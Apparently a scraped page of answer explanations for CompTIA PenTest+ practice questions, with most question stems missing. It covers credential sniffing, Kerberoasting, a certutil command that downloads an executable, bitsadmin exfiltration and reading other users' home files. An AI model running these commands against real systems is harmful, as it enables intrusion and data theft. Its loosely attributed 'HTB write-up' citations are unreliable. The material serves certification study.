PT0-003 CompTIA PenTest+ Exam Free Practice Exam Questions (2026 Updated)

Wireshark is a network packet analyzer used to capture and analyze network traffic in real-time. During a penetration test, it is often used to inspect unencrypted communication to extract sensitive information like plaintext login credentials. Here's how it works:

Packet Capturing:Wireshark captures the network packets transmitted over a network interface. If a user logs in through an insecure communication protocol (e.g., HTTP, FTP, or Telnet), the credentials are transmitted in plaintext.

Traffic Filtering:Using filters (e.g., http, tcp.port == 21), the tester narrows down the relevant traffic to locate the login request and response packets.

Sensitive Data Extraction:Analyzing the captured packets reveals plaintext credentials in the data payload, such as in HTTP POST requests.

Exploit the Information:After extracting the plaintext credentials, the tester can attempt unauthorized access to resources using these credentials.

CompTIA Pentest+ References:

Domain 1.0 (Planning and Scoping)

Domain 2.0 (Information Gathering and Vulnerability Identification)

Wireshark Usage Guide

Comprehensive and Detailed Explanation:

The vulnerability report identifies a TLS vulnerability on port 443 (HTTPS). However, the Nmap scan shows port 443 as closed, meaning the service is not running or reachable.

If the service associated with the vulnerability is not active, the reported issue cannot be valid. Therefore, the scan result contradicts the finding — making it a false positive (the scanner incorrectly flagged a vulnerability that doesn’t exist).

Why not the others:

A. True negative: Would mean no vulnerability exists and none was reported.

B. True positive: Would mean both the scan and vulnerability report agree that the service is running and vulnerable — not the case here.

C. False negative: Would mean a vulnerability exists but was not detected — also not the case.

CompTIA PT0-003 Mapping:

Domain 2.0: Information Gathering and Vulnerability Scanning

Interpret scan results and distinguish between true/false positives and negatives.

Script Analysis:

Line 1: #!/bin/bash - This line specifies the script should be executed in the Bash shell.

Line 2: for i in $(cat example.txt); do - This line starts a loop that reads each line from the file example.txt and assigns it to the variable i.

Line 3: curl $i - This line attempts to fetch the content from the URL stored in i using curl. However, for DNS lookups, curl is inappropriate.

Line 4: done - This line ends the loop.

Error Identification:

The curl command is used for transferring data from or to a server, often used for HTTP requests, which is not suitable for DNS lookups.

Correct Command:

To perform DNS lookups, the host command should be used. The host command performs DNS lookups and displays information about the given domain.

Corrected Script:

Replace curl $i with host $i to perform DNS lookups on each target specified in example.txt.

Pentest References:

In penetration testing, DNS enumeration is a crucial step. It involves querying DNS servers to gather information about the target domain, which includes resolving domain names to IP addresses and vice versa.

Common tools for DNS enumeration include host, dig, and nslookup. The host command is particularly straightforward for simple DNS lookups.

By correcting the script to use host $i, the penetration testing team can effectively perform DNS lookups on the targets specified in example.txt.

======

The given statements are actionable steps aimed at improving security. They fall under the recommendations section of a penetration test report. Here’s why option D is correct:

Recommendations: This section of the report provides specific actions that should be taken to mitigate identified vulnerabilities and improve the overall security posture. Implementing a WAF, upgrading operating systems, and implementing a secure SDLC are recommendations to enhance security.

Executive Summary: This section provides a high-level overview of the findings and their implications, intended for executive stakeholders.

Attack Narrative: This section details the steps taken during the penetration test, describing the attack vectors and methods used.

Detailed Findings: This section provides an in-depth analysis of each identified vulnerability, including evidence and technical details.

References from Pentest:

Forge HTB: The report's recommendations section suggests specific measures to address the identified issues, similar to the given statements​​.

Writeup HTB: Highlights the importance of the recommendations section in providing actionable steps to improve security based on the findings from the assessment​​.

Conclusion:

Option D, recommendations, is the correct section where the given statements would be found in a penetration test report.

======

SQL injection (SQLi) is a technique that allows attackers to manipulate SQL queries to execute arbitrary commands on a database. It is one of the most common and effective methods for accessing sensitive data in internal applications that accept unexpected user inputs. Here’s why option B is the most likely technique:

Arbitrary Command Execution: The question specifies that the internal application accepts unexpected user inputs leading to arbitrary command execution. SQL injection fits this description as it exploits vulnerabilities in the application's input handling to execute unintended SQL commands on the database.

Data Access: SQL injection can be used to extract sensitive data from the database, modify or delete records, and perform administrative operations on the database server. This makes it a powerful technique for accessing sensitive information.

Common Vulnerability: SQL injection is a well-known and frequently exploited vulnerability in web applications, making it a likely technique that a penetration tester would use to exploit input handling issues in an internal application.

References from Pentest:

Luke HTB: This write-up demonstrates how SQL injection was used to exploit an internal application and access sensitive data. It highlights the process of identifying and leveraging SQL injection vulnerabilities to achieve data extraction​​.

Writeup HTB: Describes how SQL injection was utilized to gain access to user credentials and further exploit the application. This example aligns with the scenario of using SQL injection to execute arbitrary commands and access sensitive data​​.

Conclusion:

Given the nature of the vulnerability described (accepting unexpected user inputs leading to arbitrary command execution), SQL injection is the most appropriate and likely technique that the penetration tester would use to access sensitive data. This method directly targets the input handling mechanism to manipulate SQL queries, making it the best choice.

======

A screenshot of a computer Description automatically generated

A screenshot of a computer Description automatically generated

A screenshot of a computer Description automatically generated

Cross-Site Request Forgery (CSRF) vulnerabilities can be leveraged to trick authenticated users into performing unwanted actions on a web application. The right tool for this task would help in exploiting web-based vulnerabilities, particularly those related to web browsers and interactions.

Browser Exploitation Framework (BeEF) (Answer: A):

BeEF is a powerful tool specifically designed for exploiting web browser vulnerabilities. It can hook web browsers and perform a wide range of attacks, including CSRF.

Capabilities: BeEF is equipped with modules to create CSRF attacks, capture session tokens, and gather sensitive information from the target user's browser session.

When traditional reconnaissance methods are blocked, scanning code repositories is an effective method to gather information. Here’s why:

Code Repository Scanning:

Leaked Information: Code repositories (e.g., GitHub, GitLab) often contain sensitive information, including API keys, configuration files, and even credentials that developers might inadvertently commit.

Accessible: These repositories can often be accessed publicly, bypassing traditional defenses like WAFs.

Comparison with Other Methods:

HTML Scraping: Limited to the data present on web pages and can still be blocked by WAF.

Directory Enumeration: Likely to be blocked by WAF as well and might not yield significant internal information.

Port Scanning: Also likely to be blocked or trigger alerts on WAF or IDS/IPS systems.

Scanning code repositories allows gathering a wide range of information that can be critical for further penetration testing effort

======

The command uses find / -type f -ls to traverse the filesystem from the root directory and list every file while outputting extended metadata similar to a long listing. This includes key attributes such as owner, group, permissions (mode bits), size, timestamps, and full path. In PenTest+ post-exploitation and local enumeration practices, collecting this information supports permission enumeration—identifying files that are misconfigured (for example, world-writable or group-writable), sensitive files with overly broad read access, or binaries with special permissions (such as SUID/SGID) that can enable privilege escalation. Writing the results to /tmp/recon.txt preserves the data for offline review and filtering (e.g., searching for writable directories, credential files, configuration files, or unexpected permission patterns).

This is not primarily secrets enumeration because the command does not read file contents or search for tokens/password strings. It is not user enumeration (which focuses on accounts, groups, sudo rules, and login artifacts) and not service enumeration (which targets running processes, listening ports, and service configurations). The direct goal is mapping permissions across the filesystem.

Kerberoasting is an attack that specifically targets Service Principal Name (SPN) accounts in a Windows Active Directory environment. Here’s a detailed explanation:

Understanding SPN Accounts:

SPNs are unique identifiers for services in a network that allows Kerberos to authenticate service accounts. These accounts are often associated with services such as SQL Server, IIS, etc.

Kerberoasting Attack:

Prerequisite: Knowledge of the SPN account.

Process: An attacker requests a service ticket for the SPN account using the Kerberos protocol. The ticket is encrypted with the service account's NTLM hash. The attacker captures this ticket and attempts to crack the hash offline.

Objective: To obtain the plaintext password of the service account, which can then be used for lateral movement or privilege escalation.

Comparison with Other Attacks:

Golden Ticket: Involves forging Kerberos TGTs using the KRBTGT account hash, requiring domain admin credentials.

DCShadow: Involves manipulating Active Directory data by impersonating a domain controller, typically requiring high privileges.

LSASS Dumping: Involves extracting credentials from the LSASS process on a Windows machine, often requiring local admin privileges.

Kerberoasting specifically requires the SPN account information to proceed, making it the correct answer.

======

DIR_MODE=0777 configures new home directories to be created world-readable, world-writable, and world-executable (rwxrwxrwx). With such permissive permissions, any unprivileged local user can traverse into other users’ home directories, list files, read them, and even modify or replace them. That makes exposure of other users’ sensitive data the most likely and immediate outcome once the tester has any local user account.

Why the other options are less likely:

B. Unauthorized sudo execution: Requires membership in sudo/wheel or explicit entries in /etc/sudoers. Nothing in the snippet indicates that, and file mode on home dirs doesn’t grant sudo.

C. Hijacking default login shells: DSHELL=/bin/zsh only sets the default shell for new users. Replacing /bin/zsh or altering /etc/passwd would require root.

D. Corrupting the skeleton configuration: SKEL=/etc/systemd-conf/temp-skeleton is under /etc/…, which is root-owned on standard systems. A normal user cannot write there, so “corrupting the skeleton” is unlikely without privilege escalation.

Practical exploitation as a non-privileged user (illustrative):

# Find world-writable homes

find /home -maxdepth 1 -type d -perm -0002 -ls

# Read another user's files

cd /home/targetuser && ls -la && cat Documents/tax_return.pdf

(Depending on per-file permissions.)

CompTIA PenTest+ PT0-003 Objective Mapping (for study):

Domain 3.0 Attacks and Exploits

3.1 Exploit system vulnerabilities and misconfigurations (e.g., insecure file permissions leading to data exposure/privilege abuse).

Comprehensive and Detailed Explanation:

While several items listed are important parts of an overall engagement package, the authorization letter (often called written authorization, engagement letter, or authorization to test) is mandatory before testing begins — it explicitly grants permission to test specified systems under defined scope and constraints and provides legal protection for both parties. An RoE typically references or attaches the NDA (A), includes escalation/contact processes (B), and provides target lists (C), but without the formal authorization letter the engagement should not proceed.

CompTIA PT0-003 Mapping:

Domain 1.0 Planning and Scoping — obtain written authorization and define rules of engagement prior to testing.

Containers (e.g., Docker, Kubernetes) require specialized scanning tools to detect vulnerabilities.

Trivy (Option B):

Trivy is an open-source vulnerability scanner designed specifically for containers and Kubernetes environments.

It scans container images, repositories, and running containers for known vulnerabilities (CVEs).

Installation:

Nmap can be installed on various operating systems. For example, on a Debian-based system:

sudo apt-get install nmap

Basic Network Scanning:

To scan a range of IP addresses in the network:

nmap -sP 192.168.1.0/24

Service and Version Detection:

To scan for open ports and detect the service versions running on a specific host:

nmap -sV 192.168.1.10

Enumerating Domain Systems:

Use Nmap with additional scripts to enumerate domain systems. For example, using the --script option:

nmap -p 445 --script=smb-enum-domains 192.168.1.10

Advanced Scanning Options:

Stealth Scan: Use the -sS option to perform a stealth scan:

nmap -sS 192.168.1.10

Aggressive Scan: Use the -A option to enable OS detection, version detection, script scanning, and traceroute:

nmap -A 192.168.1.10

Real-World Example:

A penetration tester uses Nmap to enumerate the systems within a domain by scanning the network for live hosts and identifying the services running on each host. This information helps in identifying potential vulnerabilities and entry points for further exploitation.

References from Pentesting Literature:

In "Penetration Testing - A Hands-on Introduction to Hacking," Nmap is extensively discussed for various stages of the penetration testing process, from reconnaissance to vulnerability assessment.

HTB write-ups often illustrate the use of Nmap for network enumeration and discovering potential attack vectors.

BAS (Breach and Attack Simulation) tools are specifically designed to emulate multiple TTPs (Tactics, Techniques, and Procedures) used by adversaries. These tools can simulate various attack vectors in a controlled manner to test the effectiveness of an organization's security defenses and response mechanisms. Here’s why option A is the best choice:

Controlled Testing Environment: BAS tools provide a controlled environment where multiple TTPs can be tested without causing unintended damage to the internal systems and servers. This is critical when the threat-modeling team indicates potential impacts on internal systems.

Comprehensive Coverage: BAS tools are designed to cover a wide range of TTPs, allowing the penetration tester to simulate various attack scenarios. This helps in assessing the reactions (alerted, blocked, and others) by the client's security tools comprehensively.

Feedback and Reporting: These tools provide detailed feedback and reporting on the effectiveness of the security measures in place, including which TTPs were detected, blocked, or went unnoticed. This information is invaluable for the threat-modeling team to understand the current security posture and areas for improvement.

References from Pentest:

Anubis HTB: This write-up highlights the importance of using controlled tools and methods for testing security mechanisms. BAS tools align with this approach by providing a controlled and systematic way to assess security defenses​​.

Forge HTB: Emphasizes the use of various testing tools and techniques to simulate real-world attacks and measure the effectiveness of security controls. BAS tools are mentioned as a method to ensure comprehensive coverage and minimal risk to internal systems​​.

Conclusion:

Using a BAS tool to test multiple TTPs allows for a thorough and controlled assessment of the client's security tools' effectiveness. This approach ensures that the testing is systematic, comprehensive, and minimally disruptive, making it the best choice.

======

Certutil.exe for File Downloads:

certutil.exe is a native Windows utility primarily used for managing certificates but can also be leveraged to download files from the internet.

Example command:

bash

Copy code

certutil.exe -urlcache -split -f http://example.com/file.exe file.exe

Its native status helps it evade detection by security tools.

Why Not Other Options?

A (netsh.exe): Used for network configuration but not for downloading files.

C (nc.exe): Netcat is not native to Windows and would need to be introduced to the system.

D (cmdkey.exe): Used for managing stored credentials, not downloading files.

CompTIA Pentest+ References:

Domain 3.0 (Attacks and Exploits)

Correct Syntax for a Range Loop in Bash:

The seq command generates a sequence of numbers in a specified range, which is ideal for iterating over IP addresses in a Class C subnet (1–254).

Example: seq 1 254 will output numbers 1, 2, ..., 254 sequentially.

Explanation of Other Options:

A (crunch): The crunch command is used for wordlist generation and is unrelated to looping in Bash.

C (echo 1-254): This would output "1-254" as a string instead of generating a numeric range.

D ({1.-254}): This is incorrect Bash syntax and would result in a script error.

Final Script:

bash

for var in $(seq 1 254)

do

ping -c 1 192.168.10.$var

done

CompTIA Pentest+ References:

Domain 4.0 (Penetration Testing Tools)

Bash Scripting and Automation

In PenTest+ tradecraft, “living off the land binaries” (LOLbins) are legitimate, built-in Windows utilities that can be repurposed to blend in with normal administrative activity. For exfiltration, the key requirement is a native capability to transfer data out over common network channels without introducing obvious third-party tools. bitsadmin.exe (Background Intelligent Transfer Service administration) is widely associated with this because it can create and manage BITS jobs that upload or download files using HTTP/HTTPS in a way that often appears similar to routine Windows background traffic. This makes it a common choice for stealthy file movement and staged transfers during post-exploitation.

By comparison, procdump.exe is typically used for process memory dumping (often credential-related) rather than transporting files off-host. msbuild.exe is commonly abused for code execution via inline tasks or project files, not primarily for exfiltration. cscript.exe runs scripts (VBScript/JScript) and could be used to script many actions, but it is not as directly aligned with built-in, job-based network file transfer as bitsadmin. Therefore, bitsadmin.exe best fits the exfiltration objective.

This command gathers:

/etc/passwd – lists all local user accounts.

netstat -tuln – lists listening ports and associated services.

/etc/bash.bashrc – contains environment variables and configurations that could reveal system behaviors or hidden persistence mechanisms.

This provides a much broader and deeper enumeration compared to other options.